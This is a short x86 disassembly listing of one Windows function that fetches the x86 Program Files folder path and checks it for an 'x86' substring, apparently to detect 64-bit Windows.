push ebp
mov ebp, esp
sub esp, 0x208
push 0x208
lea eax, [ebp - 0x208]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push 0
push 0
push 0x802a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x208]
push str._x86_
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
test eax, eax
pop ecx
setne al
leave
ret